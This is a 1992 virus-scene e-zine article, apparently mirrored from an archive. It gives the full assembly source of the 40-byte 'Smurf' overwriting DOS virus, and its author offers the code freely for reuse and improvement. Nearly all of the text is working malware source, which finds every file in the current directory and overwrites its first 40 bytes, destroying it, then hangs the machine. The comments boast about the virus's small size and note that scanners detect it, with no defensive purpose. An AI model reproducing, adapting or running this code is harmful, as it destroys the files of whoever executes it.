home *** CD-ROM | disk | FTP | other *** search
- ─────────═════════>>> Article From Evolution #2 - YAM '92
-
- Article Title: The Smurf Virus
- Author: Admiral Bailey
-
-
- ;---
- ; The Smurf virus [40 Bytes Long]
- ;
- ; Author : Admiral Bailey [YAM '92]
- ; Date : June 6 1992
- ; Language : Assembly [TASM 2.0]
- ;
- ; Notes:The Smurf virus was my first attempt at writing the smallest
- ; overwriting virus known. For a first attempt it wasn't that
- ; bad. So far I have got it down to 40 bytes. The record that
- ; does the same as this is about 38 bytes. So I gotta loose 2
- ; bytes in here somewhere. Well seeing as this small thing is
- ; probably the easiest virus in the world to disassemble, I have
- ; included the source in this issue of Evolution for all of you
- ; to take a look at. The source is for you to use. If you
- ; happend to make anything smaller using this source please just
- ; give recognition to myself, Admiral Bailey, saying that you got
- ; help looking at this source. The only thing that this does is
- ; find everyfile in the current directory and overwrite the 1st
- ; 40 bytes with itself. Then locks your computer while it is in
- ; a search loop looking for more file when there are none. A
- ; neat thing about this is that it displays its entire self to
- ; the screen when executed. Scan 91 notices this as the mini
- ; virus but I dont blame it seeing that you cant realy avoid
- ; scan when your virus gets this small. Well enjoy the source...
- ; and remember if you use it and enjoy it just let me know.
- ;---
- code segment
- assume ds:code, ss:code, cs:code, es:code
- org 100h ;Make it a .com file
-
- virus_start equ $
-
- start:
- mov dx,offset file_type ;type of file to look for
- mov ah,4eh ;Find first file command
-
- infect:
- int 21h
- mov ax,3d02h ;open again to reset handle
- mov dx,80h+1eh ;moves filename into dx
- int 21h
- mov bx,ax ;save handle again
- mov cx,virus_length ;put size of virus in cx
- mov dx,100h ;where the code starts
- mov ah,40h ;write to handle command
- int 21h ;write virus into file
- mov ah,3eh ;close handle service
- int 21h ;do it
-
- find_next_file:
- mov ah,4fh ;find next file command
- jmp infect
-
- file_type db '*.*',0
- virus_end equ $
- virus_length = virus_end - virus_start ;length of virus
-
- code ends
-
- end start
-
-
-